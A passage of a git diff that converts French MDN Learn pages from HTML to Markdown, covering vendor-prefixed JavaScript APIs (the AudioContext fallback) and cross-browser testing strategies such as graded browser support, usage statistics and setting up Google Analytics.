href="/fr/docs/Web/API/Web_Audio_API">API Web Audio</a> pour créer un outil de dessin marrant (et bruyant) :</p> +Dans l'article précédent, nous parlions quelque peu de la [gestion des préfixes CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Gestion_des_pr%C3%A9fixes_CSS). Alors, les nouvelles implémentations JavaScript utilisent parfois aussi des préfixes, bien que JavaScript utilise le camel case plutôt que l'hyphenation comme CSS. Par exemple, si un préfixe est utilisé sur un objet d'une toute belle API appelée `Ojbect` : -<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; -var audioCtx = new AudioContext();</pre> +- Mozilla utilisera `mozObject` +- Chrome/Opera/Safariutiliseront `webkitObject` +- Microsoft utilisera `msObject` -<p>Dans le cas de l'API Web Audio, les principaux points d'entrée pour utiliser l'API étaient supportés dans Chrome/Opera via les versions préfixées <code>webkit</code> (ils supportent dorénavant les versions non préfixées). Le moyen le plus simple de contourner cette situation est de créer une nouvelle version des objets qui sont préfixés dans certains navigateurs, et de la rendre égale à la version non préfixée, OU à la version préfixée (OU n'importe quelles versions préfixées qui méritent d'être éxaminées) — quelle que soit celle supportée par le navigateur affichant le site elle sera utilisée.</p> +Voici un exemple, issu de notre [demo violent-theremin](http://mdn.github.io/violent-theremin/) (voir le [code source](https://github.com/mdn/violent-theremin)), qui utilise une combinaison de l'[API Canvas](/fr/docs/Web/HTML/Canvas) et de l'[API Web Audio](/fr/docs/Web/API/Web_Audio_API) pour créer un outil de dessin marrant (et bruyant) : -<p>Ensuite utilisez cet objet pour manipuler l'API, plutôt que l'original. Dans ce cas nous créons un constructeur <a href="/fr/docs/Web/API/AudioContext">AudioContext</a> modifié, puis nous créons une nouvelle instance de contexte audio à utiliser pour notre codage Web Audio.</p> +```js +var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext(); +``` -<p>Ce modèle peut être appliqué pour toutes les fonctionnalités JavaScript préfixées. Les librairies/polyfills JavaScript utilise également ce type de code, pour faire abstraction au maximum des différences entre navigateurs pour le développeur.</p> +Dans le cas de l'API Web Audio, les principaux points d'entrée pour utiliser l'API étaient supportés dans Chrome/Opera via les versions préfixées `webkit` (ils supportent dorénavant les versions non préfixées). Le moyen le plus simple de contourner cette situation est de créer une nouvelle version des objets qui sont préfixés dans certains navigateurs, et de la rendre égale à la version non préfixée, OU à la version préfixée (OU n'importe quelles versions préfixées qui méritent d'être éxaminées) — quelle que soit celle supportée par le navigateur affichant le site elle sera utilisée. -<p>Une fois encore, les fonctions préfixées n'ont jamais été supposées être utilisées sur des sites web en production — elles sont sujettes au changement ou au retrait sans avertissement, et causent de problèmes en navigateur croisé. Si vous persistez à utiliser des fonctions préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez voir quels navigateurs nécessitent des préfixes pour les différents fonctionnalités JavaScript/API sur les pages de références MDN, et des site comme <a href="http://caniuse.com/">caniuse.com</a>. Si vous n'êtes pas sûr, vous pouvez aussi vérifier en faisant quelques test directement dans des navigateurs.</p> +Ensuite utilisez cet objet pour manipuler l'API, plutôt que l'original. Dans ce cas nous créons un constructeur [AudioContext](/fr/docs/Web/API/AudioContext) modifié, puis nous créons une nouvelle instance de contexte audio à utiliser pour notre codage Web Audio. -<p>Par exemple, essayez d'aller dans la console de développeur de votre navigateur et commencez à taper</p> +Ce modèle peut être appliqué pour toutes les fonctionnalités JavaScript préfixées. Les librairies/polyfills JavaScript utilise également ce type de code, pour faire abstraction au maximum des différences entre navigateurs pour le développeur. -<pre class="brush: js">window.AudioContext</pre> +Une fois encore, les fonctions préfixées n'ont jamais été supposées être utilisées sur des sites web en production — elles sont sujettes au changement ou au retrait sans avertissement, et causent de problèmes en navigateur croisé. Si vous persistez à utiliser des fonctions préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez voir quels navigateurs nécessitent des préfixes pour les différents fonctionnalités JavaScript/API sur les pages de références MDN, et des site comme [caniuse.com](http://caniuse.com/). Si vous n'êtes pas sûr, vous pouvez aussi vérifier en faisant quelques test directement dans des navigateurs. -<p>Si cette fonctionnalité est supportée par votre navigateur, elle s'autocomplètera.</p> +Par exemple, essayez d'aller dans la console de développeur de votre navigateur et commencez à taper -<h2 id="Trouver_de_laide">Trouver de l'aide</h2> +```js +window.AudioContext +``` -<p>Il y'a bien d'autres problèmes que vous allez rencontrer avec le JavaScript ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Trouver_de_l'aide">la section Trouver de l'aide</a> de l'article sur le HTML et CSS pour nos meilleurs conseils.</p> +Si cette fonctionnalité est supportée par votre navigateur, elle s'autocomplètera. -<h2 id="Résumé">Résumé</h2> +## Trouver de l'aide -<p>Voilà c'est le JavaScript. Facile hein ? Peut-être pas aussi facile, mais cet article devrait au moins vous donner un départ, et quelques idées sur comment attaquer les problèmes liés au JavaScript que vous allez rencontrer.</p> +Il y'a bien d'autres problèmes que vous allez rencontrer avec le JavaScript ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez [la section Trouver de l'aide](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Trouver_de_l'aide) de l'article sur le HTML et CSS pour nos meilleurs conseils. -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> +## Résumé +Voilà c'est le JavaScript. Facile hein ? Peut-être pas aussi facile, mais cet article devrait au moins vous donner un départ, et quelques idées sur comment attaquer les problèmes liés au JavaScript que vous allez rencontrer. +{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction au test en navigateur croisé</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Stratégies pour mener à bien vos tests</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS">Gérer les problèmes courants en HTML et CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> -</ul> +- [Introduction au test en navigateur croisé](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction) +- [Stratégies pour mener à bien vos tests](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) +- [Gérer les problèmes courants en HTML et CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS) +- [Handling common JavaScript problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) +- [Handling common accessibility problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) +- [Implementing feature detection](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) +- [Introduction to automated testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) +- [Setting up your own test automation environment](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md index e739854c4d..c6846a30ca 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md @@ -3,360 +3,309 @@ title: Stratégies pour mener à bien vos tests slug: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> - -<p>Cet article commence en donnant un aperçu sur le sujet des tests sur navigateurs (croisé), répondant aux questions telles que "qu'est-ce que le test en navigateur croisé ?", "Quels sont les problèmes les plus communs que vous allez rencontrer ?", et "quelles sont les principales approches pour tester, identifier, et fixer les problèmes ?"</p> +Cet article commence en donnant un aperçu sur le sujet des tests sur navigateurs (croisé), répondant aux questions telles que "qu'est-ce que le test en navigateur croisé ?", "Quels sont les problèmes les plus communs que vous allez rencontrer ?", et "quelles sont les principales approches pour tester, identifier, et fixer les problèmes ?" <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances avec le noyau des langages <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut niveau<a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction"> des principes du test en navigateur croisé</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Obtenir une compréhension des concepts de haut-niveau impliqués dans le test en navigateur croisé.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances avec le noyau des langages + <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, et + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut + niveau<a + href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction" + > + des principes du test en navigateur croisé</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Obtenir une compréhension des concepts de haut-niveau impliqués dans + le test en navigateur croisé. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Testez-les_tous">Testez-les tous ?</h2> +## Testez-les tous ? + +Lorsque vous faîtes du test en navigateur croisé, vous devez établir une liste de navigateurs que vous avez besoin de tester pour démarrer. Il n'y a aucun moyen que vous puissiez tester toutes les combinaisons de navigateurs et d'appareils que vos utilisateurs peuvent utiliser pour voir votre site — il y en a juste beaucoup trop, et de nouveaux apparaissent à longueur de temps. -<p>Lorsque vous faîtes du test en navigateur croisé, vous devez établir une liste de navigateurs que vous avez besoin de tester pour démarrer. Il n'y a aucun moyen que vous puissiez tester toutes les combinaisons de navigateurs et d'appareils que vos utilisateurs peuvent utiliser pour voir votre site — il y en a juste beaucoup trop, et de nouveaux apparaissent à longueur de temps.</p> +Vous devriez plutôt essayer de vous assurer que votre site fonctionne sur les appareils et les navigateurs cibles les plus importants, et coder de manière défensive afin de donner à votre site le support le plus large qu'il puisse atteindre. -<p>Vous devriez plutôt essayer de vous assurer que votre site fonctionne sur les appareils et les navigateurs cibles les plus importants, et coder de manière défensive afin de donner à votre site le support le plus large qu'il puisse atteindre.</p> +Par coder de manière défensive, nous voulons dire essayer de construire une solution de repli intelligente comme ça si une fonctionnalité ou un style ne marche pas sur un navigateur, le site sera capable de rétrograder à quelque chose de moins palpitant qui continuera de fournir une expérience utilisateur acceptable — le noyau de l'information est toujours accessible, par exemple, même si l'aspect n'est pas aussi beau. -<p>Par coder de manière défensive, nous voulons dire essayer de construire une solution de repli intelligente comme ça si une fonctionnalité ou un style ne marche pas sur un navigateur, le site sera capable de rétrograder à quelque chose de moins palpitant qui continuera de fournir une expérience utilisateur acceptable — le noyau de l'information est toujours accessible, par exemple, même si l'aspect n'est pas aussi beau.</p> +L'objectif est de mettre en place une liste des navigateurs/appareils sur laquelle vous pouvez vous appuyer lors de vos tests. Vous pouvez la faire aussi simple ou compliquée que vous le souhaitez — par exemple, une approche répandue est d'établir différents grades de niveau de support, quelque chose comme : -<p>L'objectif est de mettre en place une liste des navigateurs/appareils sur laquelle vous pouvez vous appuyer lors de vos tests. Vous pouvez la faire aussi simple ou compliquée que vous le souhaitez — par exemple, une approche répandue est d'établir différents grades de niveau de support, quelque chose comme :</p> +1. Grade A : Navigateurs communs/modernes — Connu pour leur capacité. Tester complètement et fournir un support complet. +2. Grade B : Navigateurs plus vieux/ayant moins de capacité — connu pour leur incapacité. Tester, et fournir une expérience plus basique qui donne un accès total au principal de l'information et des services. +3. Grade C : Navigateurs rares/inconnus — ne pas tester, mais supposer qu'ils sont capables. Fournir le site complet, qui devrait marcher, au moins avec les solutions de replis disponibles grâce à notre code défensif. -<ol> - <li>Grade A : Navigateurs communs/modernes — Connu pour leur capacité. Tester complètement et fournir un support complet.</li> - <li>Grade B : Navigateurs plus vieux/ayant moins de capacité — connu pour leur incapacité. Tester, et fournir une expérience plus basique qui donne un accès total au principal de l'information et des services.</li> - <li>Grade C : Navigateurs rares/inconnus — ne pas tester, mais supposer qu'ils sont capables. Fournir le site complet, qui devrait marcher, au moins avec les solutions de replis disponibles grâce à notre code défensif.</li> -</ol> +Tout au long des sections à venir, nous allons mettre en place une liste de support dans ce format. -<p>Tout au long des sections à venir, nous allons mettre en place une liste de support dans ce format.</p> +> **Note :** Yahoo est le premier à avoir rendu cette approche répandue, avec leur approche de [Support de navigateur classé](https://github.com/yui/yui3/wiki/Graded-Browser-Support). -<div class="note"> -<p><strong>Note :</strong> Yahoo est le premier à avoir rendu cette approche répandue, avec leur approche de <a href="https://github.com/yui/yui3/wiki/Graded-Browser-Support">Support de navigateur classé</a>.</p> -</div> +### Déductions logiques -<h3 id="Déductions_logiques">Déductions logiques</h3> +Vous pouvez les appeler "hypothèses" ou "intuitions". Ce n'est pas une approche précise, scientifique, mais en tant que personne qui a une expérience de l'industrie web vous aurez une particulièrement bonne idée du minimum de navigateurs que vous devriez tester. Cela peut former une bonne base pour votre liste de support. -<p>Vous pouvez les appeler "hypothèses" ou "intuitions". Ce n'est pas une approche précise, scientifique, mais en tant que personne qui a une expérience de l'industrie web vous aurez une particulièrement bonne idée du minimum de navigateurs que vous devriez tester. Cela peut former une bonne base pour votre liste de support.</p> +Par exemple, si vous habitez en Europe de l'Ouest ou en Amérique du Nord, vous devez savoir que la plupart des gens utilisent des ordinateurs de bureau/portable Windows et Mac, et que les navigateurs principaux sont Chrome, Firefox, Safari, IE, et Edge. Vous n'aurez sûrement besoin que de tester uniquement les dernières versions des trois premiers, étant donné que ces navigateurs reçoivent des mises à jour régulières. Pour Edge et IE vous n'aurez que besoin de tester les deux dernières versions ; ils doivent tous aller dans le niveau de grade A. -<p>Par exemple, si vous habitez en Europe de l'Ouest ou en Amérique du Nord, vous devez savoir que la plupart des gens utilisent des ordinateurs de bureau/portable Windows et Mac, et que les navigateurs principaux sont Chrome, Firefox, Safari, IE, et Edge. Vous n'aurez sûrement besoin que de tester uniquement les dernières versions des trois premiers, étant donné que ces navigateurs reçoivent des mises à jour régulières. Pour Edge et IE vous n'aurez que besoin de tester les deux dernières versions ; ils doivent tous aller dans le niveau de grade A.</p> +> **Note :** Vous ne pouvez avoir qu'une seule version d'IE ou d'Edge installée sur une machine à la fois, vous aurez donc probablement besoin d'utiliser une machine virtuelle, ou une autre stratégie pour faire les tests nécessaires. Voir {{anch("Virtual machines")}} plus tard. -<div class="note"> -<p><strong>Note :</strong> Vous ne pouvez avoir qu'une seule version d'IE ou d'Edge installée sur une machine à la fois, vous aurez donc probablement besoin d'utiliser une machine virtuelle, ou une autre stratégie pour faire les tests nécessaires. Voir {{anch("Virtual machines")}} plus tard.</p> -</div> +Beaucoup de personnes utilisent iOS et Android, vous aurez donc aussi besoin de tester les dernières versions d'iOS Safari, les deux dernières versions de l'ancien Android stock browser, et Chrome et Firefox pour iOS et Android. Idéalement, vous devriez tester sur un téléphone et une tablette de chaque système d'exploitation, afin de vous assurer que les designs responsives fonctionnent bien. -<p>Beaucoup de personnes utilisent iOS et Android, vous aurez donc aussi besoin de tester les dernières versions d'iOS Safari, les deux dernières versions de l'ancien Android stock browser, et Chrome et Firefox pour iOS et Android. Idéalement, vous devriez tester sur un téléphone et une tablette de chaque système d'exploitation, afin de vous assurer que les designs responsives fonctionnent bien.</p> +Vous savez aussi peut-être qu'un certain nombre de personnes continue d'utiliser IE 9. C'est vieux et peu compétent, donc mettons-le dans le niveau de grade B. -<p>Vous savez aussi peut-être qu'un certain nombre de personnes continue d'utiliser IE 9. C'est vieux et peu compétent, donc mettons-le dans le niveau de grade B.</p> +Ce qui nous donne pour l'instant la liste de support suivante : -<p>Ce qui nous donne pour l'instant la liste de support suivante :</p> +1. Grade A : Chrome et Firefox pour Windows/Mac, Safari pour Mac, Edge et IE pour Windows (les deux dernières versions de chacun), iOS Safari pour iPhone/iPad, Android stock browser (les deux dernières versions) sur téléphone/tablette, Chrome et Firefox pour Android (les deux dernières versions) sur téléphone/tablette. +2. Grade B : IE 9 pour Windows +3. Grade C : n/a -<ol> - <li>Grade A : Chrome et Firefox pour Windows/Mac, Safari pour Mac, Edge et IE pour Windows (les deux dernières versions de chacun), iOS Safari pour iPhone/iPad, Android stock browser (les deux dernières versions) sur téléphone/tablette, Chrome et Firefox pour Android (les deux dernières versions) sur téléphone/tablette.</li> - <li>Grade B : IE 9 pour Windows</li> - <li>Grade C : n/a</li> -</ol> +Si vous vivez autre part, ou travaillez sur un site qui va être livré autre part (par ex. dans un pays ou un endroit en particulier), alors vous aurez sûrement des navigateurs communs différents à tester. -<p>Si vous vivez autre part, ou travaillez sur un site qui va être livré autre part (par ex. dans un pays ou un endroit en particulier), alors vous aurez sûrement des navigateurs communs différents à tester.</p> +> **Note :** "Le PDG de mon entreprise utilise un Blackberry, nous devons donc nous assurer que cela apparaîtra parfaitement sur ce support" peut aussi être un argument persuasif. -<div class="note"> -<p><strong>Note :</strong> "Le PDG de mon entreprise utilise un Blackberry, nous devons donc nous assurer que cela apparaîtra parfaitement sur ce support" peut aussi être un argument persuasif.</p> -</div> +### Les statistiques de support navigateur -<h3 id="Les_statistiques_de_support_navigateur">Les statistiques de support navigateur</h3> +Une mesure utile à laquelle vous pouvez faire appel pour déduire vos choix de test sur navigateur, c'est les statistiques de support navigateur. Il y a plusieurs sites qui fournissent de telles informations, par exemple : -<p>Une mesure utile à laquelle vous pouvez faire appel pour déduire vos choix de test sur navigateur, c'est les statistiques de support navigateur. Il y a plusieurs sites qui fournissent de telles informations, par exemple :</p> +- [Netmarketshare](https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0) +- [Statcounter](http://gs.statcounter.com/) -<ul> - <li><a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a></li> - <li><a href="http://gs.statcounter.com/">Statcounter</a></li> -</ul> +Ils sont tous les deux très orientés sur l'Amérique du Nord, et ne sont pas particulièrement précis, mais ils peuvent vous donner une idée des tendances générales. -<p>Ils sont tous les deux très orientés sur l'Amérique du Nord, et ne sont pas particulièrement précis, mais ils peuvent vous donner une idée des tendances générales.</p> +Par exemple, allons sur [Netmarketshare](https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0). Vous pouvez voir qu'Opera est listé comme ayant une petit mais visible chiffre d'usage, donc nous devrions l'ajouter à notre liste de support en grade C. -<p>Par exemple, allons sur <a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a>. Vous pouvez voir qu'Opera est listé comme ayant une petit mais visible chiffre d'usage, donc nous devrions l'ajouter à notre liste de support en grade C.</p> +IE8 est classé comme étant significatif également, mais il est plus vieux et plus très efficace. Opera Mini est aussi remarquable, mais il n'est pas très compétent en termes d'exécution de Javascript complexe au démarrage, etc. (voir [Opera Mini et JavaScript](https://dev.opera.com/articles/opera-mini-and-javascript/) pour plus de détails). Nous devrions aussi les ajouter dans le niveau B. -<p>IE8 est classé comme étant significatif également, mais il est plus vieux et plus très efficace. Opera Mini est aussi remarquable, mais il n'est pas très compétent en termes d'exécution de Javascript complexe au démarrage, etc. (voir <a href="https://dev.opera.com/articles/opera-mini-and-javascript/">Opera Mini et JavaScript</a> pour plus de détails). Nous devrions aussi les ajouter dans le niveau B.</p> +### Utiliser l'analyse des données -<h3 id="Utiliser_l'analyse_des_données">Utiliser l'analyse des données</h3> +Une source de données plus précise, si vous pouvez l'obtenir, vient d'une appli d'analyse comme [Google Analytics](https://www.google.com/analytics/). C'est une application qui vous donnera des stats sur exactement quels navigateurs les gens utilisent pour naviguer sur votre site. Bien entendu, cela implique que vous avez déjà un site sur lequel l'utiliser, donc ça n'est pas super pour de tout nouveaux sites. -<p>Une source de données plus précise, si vous pouvez l'obtenir, vient d'une appli d'analyse comme <a href="https://www.google.com/analytics/">Google Analytics</a>. C'est une application qui vous donnera des stats sur exactement quels navigateurs les gens utilisent pour naviguer sur votre site. Bien entendu, cela implique que vous avez déjà un site sur lequel l'utiliser, donc ça n'est pas super pour de tout nouveaux sites.</p> +Mais une analyse historique peut être utile pour trouver des statistiques de support afin d'exercer une influence sur une nouvelle version du site d'une entreprise, ou une nouvelle fonctionnalité que vous être en train d'ajouter sur un site existant. Si elles vous sont accessibles, elles sont bien plus précises que les statistiques globales des navigateurs comme celles mentionnées plus haut. -<p>Mais une analyse historique peut être utile pour trouver des statistiques de support afin d'exercer une influence sur une nouvelle version du site d'une entreprise, ou une nouvelle fonctionnalité que vous être en train d'ajouter sur un site existant. Si elles vous sont accessibles, elles sont bien plus précises que les statistiques globales des navigateurs comme celles mentionnées plus haut.</p> +#### Configurer Google analytics -<h4 id="Configurer_Google_analytics">Configurer Google analytics</h4> +1. En premier lieu, vous avez besoin d'un compte Google. Utilisez ce compte afin de vous inscrire sur [Google Analytics](https://www.google.com/analytics/). +2. Choisissez l'option [Google Analytics](https://analytics.google.com/analytics/web/) (web), et cliquez sur le bouton _S'inscrire_. +3. Entrez les détails sur votre site/appli dans la page d'inscription. C'est très intuitif à configurer ; le champ le plus important où il ne faut pas se tromper est l'URL du site web. Cela doit être l'URL racine de votre site/appli. +4. Une fois que vous avez terminé de tout remplir, appuyer sur le bouton _Get Tracking ID_, ensuite acceptez les modalités de services qui apparaissent. +5. La prochaine page vous fournit quelques extraits de code et d'autres instructions. Pour un site web basique, ce que vous avez besoin de faire, c'est de copier le bloc de code _Website tracking_ et de le coller sur toutes les différentes pages que vous voulez suivre en utilisant Google Analytics sur votre site. Vous pouvez le placer en-dessous de la balise fermante `</body>`, ou n'importe où d'approprié qui le garderait de se mélanger avec le code de votre application. +6. Téléchargez vos modifications sur le serveur de développement, ou autre part où vous avez besoin de votre code. -<ol> - <li>En premier lieu, vous avez besoin d'un compte Google. Utilisez ce compte afin de vous inscrire sur <a href="https://www.google.com/analytics/">Google Analytics</a>.</li> - <li>Choisissez l'option <a href="https://analytics.google.com/analytics/web/">Google Analytics</a> (web), et cliquez sur le bouton <em>S'inscrire</em>.</li> - <li>Entrez les détails sur votre site/appli dans la page d'inscription. C'est très intuitif à configurer ; le champ le plus important où il ne faut pas se tromper est l'URL du site web. Cela doit être l'URL racine de votre site/appli.</li> - <li>Une fois que vous avez terminé de tout remplir, appuyer sur le bouton <em>Get Tracking ID</em>, ensuite acceptez les modalités de services qui apparaissent.</li> - <li>La prochaine page vous fournit quelques extraits de code et d'autres instructions. Pour un site web basique, ce que vous avez besoin de faire, c'est de copier le bloc de code <em>Website tracking </em>et de le coller sur toutes les différentes pages que vous voulez suivre en utilisant Google Analytics sur votre site. Vous pouvez le placer en-dessous de la balise fermante <code></body></code>, ou n'importe où d'approprié qui le garderait de se mélanger avec le code de votre application.</li> - <li>Téléchargez vos modifications sur le serveur de développement, ou autre part où vous avez besoin de votre code.</li> -</ol> +C'est bon ! Votre site devrait maintenant être prêt à commencer à reporter l'analyse de données. -<p>C'est bon ! Votre site devrait maintenant être prêt à commencer à reporter l'analyse de données.</p> +#### Etudier l'analyse des données -<h4 id="Etudier_l'analyse_des_données">Etudier l'analyse des données</h4> +Vous devriez maintenant être capable de retourner sur la page d'accueil [Analytics Web](https://analytics.google.com/analytics/web), et commencer à regarder les données que vous avez collecté à propos de votre site (bien entendu, vous devez laisser passer un peu de temps afin de permettre aux données de votre site d'être collectées.) -<p>Vous devriez maintenant être capable de retourner sur la page d'accueil <a href="https://analytics.google.com/analytics/web">Analytics Web</a>, et commencer à regarder les données que vous avez collecté à propos de votre site (bien entendu, vous devez laisser passer un peu de temps afin de permettre aux données de votre site d'être collectées.)</p> +Par défaut, vous devriez voir ce tableau de rapport, comme ceci : -<p>Par défaut, vous devriez voir ce tableau de rapport, comme ceci :</p> + -<p><img alt="" src="analytics-reporting.png"></p> +Il y a une énorme quantité de donnée que vous pouvez regarder en utilisant Google Analytics — des rapports personnalisés dans différentes catégories, etc. — et nous n'avons pas le temps pour tous les aborder. [Démarrer avec Analytics](https://support.google.com/analytics/answer/1008015) fournit une aide utile sur les rapports (et plus) pour les débutants. -<p>Il y a une énorme quantité de donnée que vous pouvez regarder en utilisant Google Analytics — des rapports personnalisés dans différentes catégories, etc. — et nous n'avons pas le temps pour tous les aborder. <a href="https://support.google.com/analytics/answer/1008015">Démarrer avec Analytics</a> fournit une aide utile sur les rapports (et plus) pour les débutants.</p> +Vous devriez aussi vous intéresser aux différentes options du menu gauche, et voir quels types de données vous pouvez trouver. Par exemple, vous pouvez trouver quels navigateurs et quels systèmes d'exploitation vos utilisateurs utilisent en sélectionnant _Audience_ > _Technologie_ > _Navigateur & OS_ du menu gauche. -<p>Vous devriez aussi vous intéresser aux différentes options du menu gauche, et voir quels types de données vous pouvez trouver. Par exemple, vous pouvez trouver quels navigateurs et quels systèmes d'exploitation vos utilisateurs utilisent en sélectionnant <em>Audience</em> > <em>Technologie</em> > <em>Navigateur & OS</em> du menu gauche.</p> +> **Note :** Lorsque vous utilisez Google Analytics, vous devez pour prévenir des biais trompeurs, par ex. "Nous n'avons aucun utilisateur de Firefox Mobile" peut vous amener à ne pas vous soucier de supporter Firefox Mobile. Mais vous n'allez pas avoir un seul utilisateur de Firefox Mobile si le site ne fonctionnait pas dessus dès le départ. -<div class="note"> -<p><strong>Note :</strong> Lorsque vous utilisez Google Analytics, vous devez pour prévenir des biais trompeurs, par ex. "Nous n'avons aucun utilisateur de Firefox Mobile" peut vous amener à ne pas vous soucier de supporter Firefox Mobile. Mais vous n'allez pas avoir un seul utilisateur de Firefox Mobile si le site ne fonctionnait pas dessus dès le départ.</p> -</div> +### Autres cas -<h3 id="Autres_cas">Autres cas</h3> +Il y a d'autres cas que vous devriez aussi probablement prendre en compte. Vous devez assurément inclure l'accessibilité en tant que condition nécessaire de test de niveau A (nous couvrirons exactement qu'est-ce que vous devez tester dans notre article sur la Gestion des problèmes commun d'accessibilité). -<p>Il y a d'autres cas que vous devriez aussi probablement prendre en compte. Vous devez assurément inclure l'accessibilité en tant que condition nécessaire de test de niveau A (nous couvrirons exactement qu'est-ce que vous devez tester dans notre article sur la Gestion des problèmes commun d'accessibilité).</p> +Vous pouvez avoir à prendre d'autres considérations supplémentaires. Si vous êtes en train de créer une sorte d'intranet pour fournir les chiffres d'affaires aux managers, et tous les managers ont reçu des téléphones Windows par exemple, vous devez faire du support IE pour mobile une priorité. -<p>Vous pouvez avoir à prendre d'autres considérations supplémentaires. Si vous êtes en train de créer une sorte d'intranet pour fournir les chiffres d'affaires aux managers, et tous les managers ont reçu des téléphones Windows par exemple, vous devez faire du support IE pour mobile une priorité.</p> +### Liste de support finale -<h3 id="Liste_de_support_finale">Liste de support finale</h3> +Donc, notre liste de support finale devrait finir par ressemble à ça : -<p>Donc, notre liste de support finale devrait finir par ressemble à ça :</p> +1. Grade A : Chrome et Firefox pour Windows/Mac, Safari pour Mac, Edge et IE pour Windows (les deux dernières versions de chaque), iOS Safari pour iPhone/iPad, Android stock browser (les deux dernières versions) pour téléphone/tablette, Chrome et Firefox pour Android (les deux dernières versions) sur téléphone/tablette. L'accessibilité qui passe les tests courants. +2. Grade B : IE 8 et 9 pour Windows, Opera Mini. +3. Grade C : Opera, d'autres bons navigateurs modernes. -<ol> - <li>Grade A : Chrome et Firefox pour Windows/Mac, Safari pour Mac, Edge et IE pour Windows (les deux dernières versions de chaque), iOS Safari pour iPhone/iPad, Android stock browser (les deux dernières versions) pour téléphone/tablette, Chrome et Firefox pour Android (les deux dernières versions) sur téléphone/tablette. L'accessibilité qui passe les tests courants.</li> - <li>Grade B : IE 8 et 9 pour Windows, Opera Mini.</li> - <li>Grade C : Opera, d'autres bons navigateurs modernes.</li> -</ol> +## Qu'est-ce que vous allez tester ? -<h2 id="Qu'est-ce_que_vous_allez_tester">Qu'est-ce que vous allez tester ?</h2> +Lorsque vous ajouter une nouveauté à votre code de base qui nécessite d'être testée, avant de commencer vos tests, vous devez rédiger une liste des conditions des tests qui ont besoin de passer pour être admises. Ces conditions peuvent être visuelles ou fonctionnelles — combiner les deux afin de mettre en place une fonctionnalité web utilisable. -<p>Lorsque vous ajouter une nouveauté à votre code de base qui nécessite d'être testée, avant de commencer vos tests, vous devez rédiger une liste des conditions des tests qui ont besoin de passer pour être admises. Ces conditions peuvent être visuelles ou fonctionnelles — combiner les deux afin 